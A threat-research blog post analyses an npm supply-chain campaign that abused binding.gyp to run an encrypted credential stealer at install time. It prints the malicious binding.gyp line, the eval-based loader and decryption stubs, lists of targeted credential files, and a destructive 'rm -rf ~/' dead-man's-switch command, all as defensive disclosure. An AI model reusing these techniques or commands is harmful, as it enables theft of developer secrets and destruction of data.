RL Blog

Topics

All Blog PostsAppSec & Supply Chain SecurityDev & DevSecOpsProducts & TechnologySecurity OperationsThreat Research
2026-06-18_Forrester & RL Upcoming Webinar

Forrester Names RL in Agentic Development Security Market

The new landscape report maps 35 vendors addressing an emerging category of risk: AI agents writing insecure code at machine speed.

Read More about Forrester Names RL in Agentic Development Security Market
Forrester Names RL in Agentic Development Security Market

Follow us

XX / TwitterLinkedInLinkedInFacebookFacebookInstagramInstagramYouTubeYouTubeblueskyBluesky

Subscribe

Get the best of RL Blog delivered to your in-box weekly. Stay up to date on key trends, analysis and best practices across threat intelligence and software supply chain security.

ReversingLabs: The More Powerful, Cost-Effective Alternative to VirusTotalSee Why
Skip to main content
Contact UsSupportBlogCommunity
reversinglabsReversingLabs: Home
Solutions
Secure Software OnboardingSecure Build & ReleaseProtect Virtual MachinesIntegrate Safe Open SourceGo Beyond the SBOM
Increase Email Threat ResilienceDetect Malware in File Shares & StorageAdvanced Malware Analysis SuiteICAP Enabled Solutions
Scalable File AnalysisHigh-Fidelity Threat IntelligenceCurated Ransomware FeedAutomate Malware Analysis Workflows
Products & Technology
Spectra Assure®Software Supply Chain SecuritySpectra DetectHigh-Speed, High-Volume, Large File AnalysisSpectra AnalyzeIn-Depth Malware Analysis & Hunting for the SOCSpectra IntelligenceAuthoritative Reputation Data & Intelligence
Spectra CoreIntegrations
Industry
Energy & UtilitiesFinanceHealthcareHigh TechPublic Sector
Partners
Become a PartnerValue-Added PartnersTechnology PartnersMarketplacesOEM Partners
Alliances
Resources
BlogContent LibraryCybersecurity GlossaryConversingLabs PodcastEvents & WebinarsLearning with ReversingLabsWeekly Insights Newsletter
Customer StoriesDemo VideosDocumentationOpenSource YARA Rules
Company
About UsLeadershipCareersSeries B Investment
EventsRL at RSAC
Press ReleasesIn the News
Pricing
Software Supply Chain SecurityMalware Analysis and Threat Hunting
Request a demo
Menu
Threat ResearchJune 4, 2026

How 56 npm packages used binding.gyp to steal CI/CD secrets

The attack is notable for its breadth, with the threat actor flooding npm with malicious package versions across at least six ecosystems.

ReversingLabs Inc. Logo
RL Research TeamRL Research Team
FacebookFacebookXX / TwitterLinkedInLinkedInblueskyBlueskyEmail Us
Thousands of developer projects compromised in npm hack

The popular repository npm's security guidance is clear: audit preinstall and postinstall scripts before installing packages. The attacker behind this campaign read the same guidance — and found a way around it.

Over a ten-hour window on June 3–4, 2026, an attacker published 286 malicious versions of 56 npm packages spanning developer tooling ecosystems from APM frameworks to voice AI SDKs. Not one of them used a lifecycle hook. Instead, every package contained a binding.gyp file — a native build configuration that npm invokes automatically, outside the scripts block, and that almost no security checklist mentions. The payload it triggered was encrypted three layers deep and built to outlast the incident response: revoking the stolen token arms a dead man's switch.

Here's how the full attack chain played out, from the install-time trigger to the decrypted second stage, and documents all 286 affected versions across the 56 packages we confirmed as malicious.

binding.gyp-large

Attack chain: from npm install to persistent access. Click to enlarge.

The campaign at a glance

The attack is notable for its breadth. Rather than targeting one high-value package, the attacker flooded the npm registry with malicious versions of packages across at least six distinct ecosystems:

Package family

Packages

Representative targets

autotel-*

24

APM, database adapters, framework integrations, MCP instrumentation

executable-stories-*

9

BDD testing framework (Vitest, Jest, Playwright, Cypress)

awaitly-*

6

Async database utilities (PostgreSQL, MongoDB, libSQL)

eslint-plugin-*

4

ESLint plugins for the above testing frameworks

node-env-resolver-*

5

Environment variable management (AWS, Vite, Next.js, dotenvx)

Others

8

ai-sdk-ollama, @vapi-ai/server-sdk, wrangler-deploy, effect-analyzer, mountly, and more

The timing tells the story. The autotel-* cluster landed first, with 16 packages published within a 12-second burst at 21:58 UTC on June 3. A second wave starting at 00:25 UTC on June 4 added the remaining families, ending 48 minutes later at 01:13 UTC — 56 packages confirmed malicious in under ten hours.

The Trigger: binding.gyp

Most npm packages are pure JavaScript — they ship .js files and nothing else. A small subset needs to go further: packages like bcrypt, sqlite3, or canvas wrap native C/C++ libraries and must compile platform-specific binary code when they are installed. The Node.js ecosystem handles this through a tool called node-gyp, which reads a configuration file called binding.gyp to know what to compile and how.

binding.gyp is therefore a completely normal file — in packages that actually need it. It appears in fewer than a fraction of a percent of published npm packages. Critically, npm treats its presence as an unconditional signal: if binding.gyp exists at a package root, npm automatically runs node-gyp during npm install, before any code from the package itself has been loaded. No scripts.install hook is needed. No opt-in from the user is required. The build runs silently in the background as part of the normal install flow.

The attacker exploited this behavior by including binding.gyp in packages that have no native addon whatsoever — pure JavaScript tooling libraries — and using a GYP-specific feature to turn the build step into an arbitrary code execution primitive.

GYP files support shell expansion: the <!(...) operator embeds a shell command whose standard output is substituted into the configuration at build time. The binding.gyp present in all 56 packages reads:

{
  "targets": [{
    "target_name": "Setup",
    "type": "none",
    "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
  }]
}

When node-gyp processes this file, it executes node index.js as a shell command. The > /dev/null 2>&1 discards all output so nothing appears in the terminal. The & echo stub.c feeds a valid (if nonexistent) source filename back to node-gyp, preventing a build error that would alert the developer. The net effect: index.js runs silently and completely, with no visible indication that anything unusual happened.

This technique sidesteps the defenses most developers know to look for. Security-conscious developers audit scripts.preinstall and scripts.postinstall in package.json for suspicious commands — that is the well-documented attack surface for supply chain hooks. binding.gyp is not on that checklist. It looks like a routine native addon configuration to anyone who notices it at all, and most developers never look inside a package's files before installing it.

None of the 56 affected packages declared binding.gyp in their "files" field in package.json, and none has any legitimate need for a native C/C++ add-on. The file has no business being in these packages under any circumstances. Its presence across all 56, published within a ten-hour window, points to a coordinated account compromise: The attacker obtained npm publish tokens and pushed malicious versions directly to the registry.

The loader: index.js

The binding.gyp file runs one command: node index.js. That file — present in every affected package — is a single-line, ~4.6 MB JavaScript file. Its size alone is a red flag: legitimate npm packages rarely ship multi-megabyte JavaScript files at the package root. The content explains the size: it is almost entirely a 1.4-million-element array of integers, wrapped in an obfuscation layer that decodes and executes the real payload.

The outer wrapper applies a Caesar cipher to the encoded payload string and passes the result to eval(). In the @vapi-ai/server-sdk package the structure is:

try{eval(function(s,n){
  return s.replace(/[a-zA-Z]/g, function(c) {
    var b = c <= "Z" ? 65 : 97;
    return String.fromCharCode((c.charCodeAt(0) - b + n) % 26 + b);
  })
}([/* ~1.4 million integer char codes */].map(function(c){
    return String.fromCharCode(c);
  }).join(""), 13)
)}catch(e){console.log("wrapper:", e.message || e)}

A 1.4-million-element integer array is converted to a string via .map(String.fromCharCode).join(""), then Caesar-decoded (shift n=13), then eval()'d. The catch block silently suppresses any execution errors. What gets evaluated is not the final payload — it is a decryption stub.

The decryption layer

The decoded JavaScript reveals an AES-128-GCM decryption routine. It holds a hardcoded key, IV, and auth tag, and uses them to decrypt a ~4 MB ciphertext blob that is embedded in the same file. The following is the decryption stub as decoded from @vapi-ai/server-sdk (abbreviated):

(async () => {
  try {
    const _c = await import("node:crypto");

    const _d = (k, i, a, c) => {
      const d = _c.createDecipheriv(
        "aes-128-gcm",
        Buffer.from(k, "hex"),
        Buffer.from(i, "hex"),
        { authTagLength: 16 }
      );
      d.setAuthTag(Buffer.from(a, "hex"));
      return Buffer.concat([d.update(Buffer.from(c, "hex")), d.final()]);
    };

    const _b = _d(
      "02aa4a0ff16c53b6555d8f1d94225764",   // AES-128 key (unique per package family)
      "a85bf69dd5739b618a36129b",             // GCM IV
      "a763faac3b207f0001d0b7d74449f7b3",    // GCM auth tag
      "2368cd08aa71..."                       // ~4 MB encrypted second stage (hex)
    ).toString("utf8");

Every malicious version carries a unique AES-128-GCM key and IV. Across all four malicious versions of @vapi-ai/server-sdk alone:

Version

Key

IV

0.11.1

02aa4a0ff16c53b6555d8f1d94225764

a85bf69dd5739b618a36129b

0.11.2

ac9e9e756fb522f23925984681b53790

fb727edb6ab99415b23bca7c

1.2.1

66cb83604458e85b53940056b86394d2

4e9de2202c2f1666afcde160

1.2.2

f7704e58fac4e9d683e3dc415e5923ec

d0663b7997483c00df9126b1

The attacker's build toolkit generates a fresh key pair for every version published. Decrypting one version's second stage gives no foothold on any other — each of the 286 malicious versions is an independently keyed binary. The ciphertext size is approximately 4 MB across all versions examined.

Execution

After decryption, the second stage is executed. In @vapi-ai/server-sdk the execution logic is:

const _fs = await import("node:fs");
const _cp = await import("node:child_process");

const t = "/tmp/p" + Math.random().toString(36).slice(2) + ".js";
_fs.writeFileSync(t, _p);

if (typeof Bun !== "undefined") {
  // Path A: Bun runtime detected
  try {
    _cp.execSync('bun run "' + t + '"', { stdio: "inherit" });
  } finally {
    try { _fs.unlinkSync(t); } catch {}    // delete temp file
  }
} else {
  // Path B: Node.js
  await (0, eval)(_b);                    // indirect global-scope eval
  try {
    _cp.execSync('"' + getBunPath() + '" run "' + t + '"', { stdio: "inherit" });
  } finally {
    try { _fs.unlinkSync(t); } catch {}    // delete temp file
  }
}

Notable capabilities in this execution layer:

  • Bun runtime detection — typeof Bun !== "undefined" explicitly checks for Bun, a fast JavaScript runtime with growing adoption among TypeScript developers. @vapi-ai/server-sdk targets exactly that audience.
  • Subprocess execution — child_process.execSync with stdio: "inherit" inherits the parent process's full environment, including all CI/CD secrets available to the npm install subprocess.
  • Global-scope eval — (0, eval)(_b) is the indirect eval form, which executes the decrypted code in the global scope rather than the local function scope.
  • Anti-forensics — _fs.unlinkSync(t) deletes the temp file immediately after execution in both runtime paths, regardless of whether execution succeeded. No artifact remains on disk after the install completes.

At this point, npm install has finished. The developer's terminal shows nothing unusual. What runs next is a 720 KB JavaScript module that was sitting, encrypted, inside that 4 MB ciphertext blob.

What the payload does

Decrypting the second stage reveals a heavily obfuscated JavaScript module protected by yet another layer of encryption — a custom stream cipher built on SHA-256-derived S-boxes with a PBKDF2 master key, distinct from any standard library. Decrypting that layer in turn reveals individual scripts, each encrypted again with AES-256-GCM. The attacker clearly expected this payload to be scrutinised and built accordingly.

Once fully decrypted, the payload's intent is unambiguous.

Environment detection. Before doing anything else, the payload checks whether it's running inside a CI/CD environment by testing over 30 platform-specific environment variables: GITHUB_ACTIONS, GITLAB_CI, TRAVIS, CIRCLECI, JENKINS_URL, BUILDKITE, APPVEYOR, BITBUCKET_BUILD_NUMBER, DRONE, SEMAPHORE, TEAMCITY_VERSION, and more. This is not evasion — it's targeting. The payload only exfiltrates when it detects a CI runner, where the valuable credentials live.

Credential enumeration. When a CI environment is confirmed, the payload enumerates environment variables across every major cloud provider and secret manager:

Platform

Variables targeted

GitHub Actions

ACTIONS_ID_TOKEN_REQUEST_URL, ACTIONS_ID_TOKEN_REQUEST_TOKEN, GITHUB_REF, GITHUB_REPOSITORY

AWS

AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, container credential URIs, IRSA role ARN, profiles

Azure

AZURE_TENANT_ID, AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_FEDERATED_TOKEN_FILE, IDENTITY_ENDPOINT

GCP

GOOGLE_APPLICATION_CREDENTIALS, GCP_PROJECT, GOOGLE_CLOUD_PROJECT, DEVSHELL_PROJECT_ID

Kubernetes

KUBERNETES_SERVICE_HOST, KUBERNETES_SERVICE_PORT, KUBECONFIG

HashiCorp Vault

VAULT_ADDR, VAULT_API_TOKEN, VAULT_ROLE, VAULT_AWS_ROLE, VAULT_TOKEN_FILE

Exfiltration via GitHub dead-drop. Collected credentials are committed to attacker-controlled GitHub repositories using the GitHub API (api.github.com/repos/). Traffic is disguised as python-requests/2.31.0 — a common User-Agent — to blend in with legitimate automation. Repository names are generated by combining words from two embedded word lists: adjectives (typhonian, tartarean, erebean, stygian, nemean…) with mythological creatures (hydra, chimera, cerberus, gorgon, harpy…). One repository name recovered from this sample is thebeautifulmarchoftime. The campaign marker embedded in the payload reads: "Miasma - The Spreading Blight".

Credential file harvesting. In addition to environment variables, the payload sweeps the filesystem for credential files across cloud providers, development tools, messaging apps, and cryptocurrency wallets: ~/.aws/credentials, ~/.kube/config, ~/.ssh/id_<em>, ~/.npmrc, ~/.pypirc, ~/.docker/config.json, ~/.claude/, ~/.config/gcloud/*, .env files throughout the project tree, VPN configuration files, and local storage databases for Signal, Telegram, Discord, and Slack. The list covers every credential an active developer is likely to have on their machine.

Worm propagation. When GitHub Actions OIDC tokens are available, the payload uses them to republish trojanized versions of packages it has write access to, injecting itself into the supply chain further downstream. It also injects malicious steps into discovered GitHub Actions workflow files.

AI tool config injection. The payload writes hooks into local AI coding assistant configuration files: .claude/settings.json (Claude Code), .gemini/settings.json (Gemini), .cursor/rules/setup.mdc (Cursor IDE), and Copilot workspace configs. These hooks persist beyond the initial install, giving the malware a foothold inside developer environments even after the malicious package is removed.

Persistence. The payload installs two background services, each encrypted behind a third layer of AES-256-GCM:

  • update-monitor — a Python daemon (update.py) that polls GitHub for commits matching the query "firedalazer". Each matching commit embeds a base64-encoded URL and an RSA-signed payload. When the signature verifies against a hardcoded public key, the daemon downloads the script from the URL and executes it silently. This is the attacker's command-and-control channel: arbitrary code can be pushed to any victim machine by pushing a signed commit to any public GitHub repository.

Linux: ~/.config/systemd/user/update-monitor.service - macOS: ~/Library/LaunchAgents/com.user.update-monitor.plist

  • gh-token-monitor — a dead man's switch. It polls https://api.github.com/user every 60 seconds with the stolen GitHub token. When the token returns a 4xx response — meaning the victim has detected the breach and revoked it — the monitor runs a pre-installed handler command via eval. The monitor has a 72-hour TTL and is installed as:

Linux: ~/.config/systemd/user/gh-token-monitor.service - macOS: ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

When the token is revoked, the monitor runs a shell command that was installed alongside it during the initial compromise. Decrypting the payload reveals it:

rm -rf ~/; rm -rf ~/Documents

It deletes the user's home directory. The ~/Documents clause is a belt-and-suspenders addition in case the first command fails or is interrupted on some platforms. Revoking the token on a machine that has not been isolated first triggers this. Isolate affected machines before revoking credentials.

By the time npm install finishes, the attacker has credentials, a persistent foothold, a command channel, and a trap waiting for the response team.

How the malicious versions were chosen

A consistent pattern across all 56 packages: the malicious version is always a patch bump or minor version bump above a legitimate, previously published version. For example:

  • autotel-aws@0.13.9 — clean → autotel-aws@0.13.10 — malicious
  • autotel-backends@2.12.25 — clean → autotel-backends@2.12.26 — malicious
  • autotel-playwright@0.4.31 — clean → autotel-playwright@0.4.32 — malicious
  • executable-stories-vitest@8.3.2 — clean → executable-stories-vitest@8.3.3 — malicious

This strategy is deliberate: A patch bump raises no suspicion in automated dependency updates or npm audit output. Projects using loose version constraints (~0.13.9, ^0.4.31) would have received the malicious version on their next npm install without any manual action by a developer.

Packages in the autotel-mcp, autotel-subscribers, autotel-terminal, and awaitly-* families were more aggressive, publishing between 22 and 29 consecutive malicious versions across major version lines — covering every semver range a downstream consumer might be pinned to.

Affected package versions

The following 56 packages had 286 malicious versions confirmed across the campaign. Package names link to their analysis on secure.software.

Package

Malicious versions

ai-sdk-ollama

0.13.1, 1.1.1, 2.2.1, 3.8.5

autotel

2.26.4, 3.4.3

autotel-adapters

0.3.5

autotel-audit

0.1.15

autotel-aws

0.13.10

autotel-backends

2.12.26

autotel-cli

0.8.14

autotel-cloudflare

2.18.16

autotel-devtools

0.1.1, 1.0.4, 2.1.1, 3.0.2, 4.0.1, 5.1.1, 6.1.2

autotel-drizzle

0.0.27

autotel-edge

3.16.13

autotel-eventcatalog

1.0.1, 2.0.1, 3.0.1, 4.0.2, 5.0.1

autotel-hono

0.4.26

autotel-mcp

0.1.14, 2.0.1, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 13.0.1, 14.0.1, 15.0.2, 16.0.1, 17.0.2, 18.0.1, 19.0.1, 20.0.1, 21.1.1, 22.0.1, 23.0.1, 24.0.1, 25.0.1, 26.0.2, 27.0.1, 28.0.3, 29.0.1

autotel-mcp-instrumentation

29.0.2, 30.0.5, 31.0.1, 32.0.1, 33.0.2, 34.0.1

autotel-mongoose

0.0.3, 1.0.2, 2.0.5, 3.0.1, 4.0.1, 5.0.2, 6.0.1

autotel-pact

0.2.2, 1.0.3

autotel-playwright

0.4.32

autotel-plugins

0.19.26

autotel-sentry

0.5.13

autotel-subscribers

4.1.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.1.1, 15.0.1, 16.0.2, 17.0.1, 18.0.3, 19.0.1, 20.0.1, 21.0.1, 22.0.2, 23.0.2, 24.0.1, 25.0.1, 26.0.1, 27.0.2, 28.0.2, 29.0.6, 30.0.4, 31.1.4

autotel-tanstack

1.13.27

autotel-terminal

2.1.1, 3.0.1, 4.0.2, 5.0.1, 6.0.3, 7.0.1, 8.0.1, 9.0.1, 10.0.2, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.2, 16.0.2, 17.0.10, 18.0.4, 19.0.8, 20.0.2, 21.0.1, 22.0.2, 23.0.3

autotel-vitest

0.4.26

autotel-web

1.12.2

awaitly

1.33.3

awaitly-analyze

0.24.2, 1.1.1, 2.0.1, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1

awaitly-libsql

0.1.1, 1.0.1, 2.0.1, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.1, 16.0.1, 17.0.1, 18.1.1, 19.0.1, 20.0.1, 21.0.1, 22.0.1

awaitly-mongo

0.1.1, 1.0.1, 2.0.1, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.1.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.1, 16.0.1, 17.0.1, 18.0.1, 19.1.1, 20.0.1, 21.0.1, 22.0.1, 23.0.1

awaitly-postgres

0.1.1, 1.0.1, 2.0.1, 3.0.2, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.1, 16.0.1, 17.0.1, 18.0.1, 19.1.1, 20.0.1, 21.0.1, 22.0.1, 23.0.1

awaitly-visualizer

1.0.1, 2.0.2, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.1, 16.0.1, 17.0.1, 18.1.1, 19.0.1, 20.0.2, 21.0.1, 22.0.2

create-wrangler-deploy

0.1.1

effect-analyzer

0.3.1

eslint-plugin-awaitly

0.17.1, 1.0.1

eslint-plugin-executable-stories-jest

1.2.1, 2.1.8

eslint-plugin-executable-stories-playwright

1.2.1, 2.1.8

eslint-plugin-executable-stories-vitest

1.2.1, 2.1.8

executable-stories-cypress

3.1.1, 4.0.1, 5.0.1, 6.1.1, 7.0.3, 8.3.2

executable-stories-demo

0.1.11

executable-stories-formatters

0.11.2

executable-stories-init

0.1.2

executable-stories-jest

3.1.1, 4.0.1, 5.0.1, 6.1.1, 7.0.3, 8.3.2

executable-stories-mcp

0.3.3

executable-stories-playwright

3.1.1, 4.0.1, 5.0.1, 6.1.1, 7.0.3, 8.4.3

executable-stories-react

0.1.7

executable-stories-vitest

2.0.1, 3.1.1, 4.0.1, 5.0.1, 6.1.1, 7.0.3, 8.3.3

@jagreehal/workflow

1.16.1

mountly

0.2.2

mountly-tailwind

0.1.3

node-env-resolver

6.5.1

node-env-resolver-aws

9.1.2, 10.0.1, 11.0.1, 12.0.1

node-env-resolver-dotenvx

1.0.1, 2.0.1

node-env-resolver-nextjs

7.4.2

node-env-resolver-vite

2.4.2

@vapi-ai/server-sdk

0.11.1, 0.11.2, 1.2.1, 1.2.2

wrangler-deploy

1.5.5

Recommendations

If you use any of these packages, check your dependency tree and lock files for any of the versions listed above. Running npm ls <package> in affected repositories will show what version is installed.

If you ran a build that included a malicious version, treat all secrets available in that environment as compromised. Rotate GitHub tokens, API keys, and any credentials that were present in the runner's environment variables. Review your Actions audit log for unexpected secret access.

For ongoing protection, scan npm packages before installation as part of your CI/CD pipeline. The binding.gyp attack pattern does not require code execution to detect — any pure-JavaScript package that ships a binding.gyp alongside a multi-megabyte index.js is a high-confidence signal worth blocking.

Developers maintaining npm packages should enable two-factor authentication on their npm accounts and review recent publications for unauthorized releases. The breadth of this campaign — 56 packages across multiple package namespaces, all publishing within a ten-hour window — is consistent with a credential stuffing or phishing attack against a shared infrastructure or organizational npm account.

This post was researched by RL AI agents and written by generative AI.

Keep learning

  • Get up to speed on the Agentic Development Security tools landscape in this June 18 webinar with Forrester Sr. Analyst Janet Worthington.
  • Learn why binary analysis is a must-have control in the Gartner® CISO Playbook for Commercial Software Supply Chain Security.
  • Take a deep dive on the state of software security with RL's Software Supply Chain Security Report 2026. Plus: See the the webinar discussing the findings.

Explore RL's Spectra suite: Spectra Assure for software supply chain security, Spectra Detect for scalable file analysis, Spectra Analyze for malware analysis and threat hunting, and Spectra Intelligence for reputation data and intelligence.

Tags:Threat Research

More Blog Posts

three men sitting in front of monitors

31 Red Hat npm packages backdoored in 72 seconds

RL has discovered a new supply chain attack affecting 9.8M total downloads across Red Hat's Hybrid Cloud Console JavaScript ecosystem.

Learn More about 31 Red Hat npm packages backdoored in 72 seconds
31 Red Hat npm packages backdoored in 72 seconds
Hunting Megalodon Fossils

Researcher's Notebook: Hunting Megalodon Fossils

Analyzing C2 responses from compromised GitHub Actions linked a current threat to an earlier one, showing the value of retrohunting.

Learn More about Researcher's Notebook: Hunting Megalodon Fossils
Researcher's Notebook: Hunting Megalodon Fossils
Hackers Abuse Parental Controls To Hijack Google Accounts

Hackers Abuse Parental Controls to Hijack Google Accounts

Learn how attackers are re-casting adults as minors to bypass recovery and lock users out.

Learn More about Hackers Abuse Parental Controls to Hijack Google Accounts
Hackers Abuse Parental Controls to Hijack Google Accounts
How DirtyFrag rose from the Linux privilege escalation exploit

How Dirty Frag rose from the Copy Fail exploit

RL documented 163 samples of the Linux exploit's new variants, active malware — and developed YARA rules.

Learn More about How Dirty Frag rose from the Copy Fail exploit
How Dirty Frag rose from the Copy Fail exploit

Spectra Assure Free Trial

Get your 14-day free trial of Spectra Assure for Software Supply Chain Security

Get Free TrialMore about Spectra Assure Free Trial
Blog
Events
About Us
Webinars
In the News
Careers
Demo Videos
Cybersecurity Glossary
Contact Us
reversinglabsReversingLabs: Home
Privacy PolicyCookiesImpressum
All rights reserved ReversingLabs © 2026
XX / TwitterLinkedInLinkedInFacebookFacebookInstagramInstagramYouTubeYouTubeblueskyBlueskyRSSRSS
Back to Top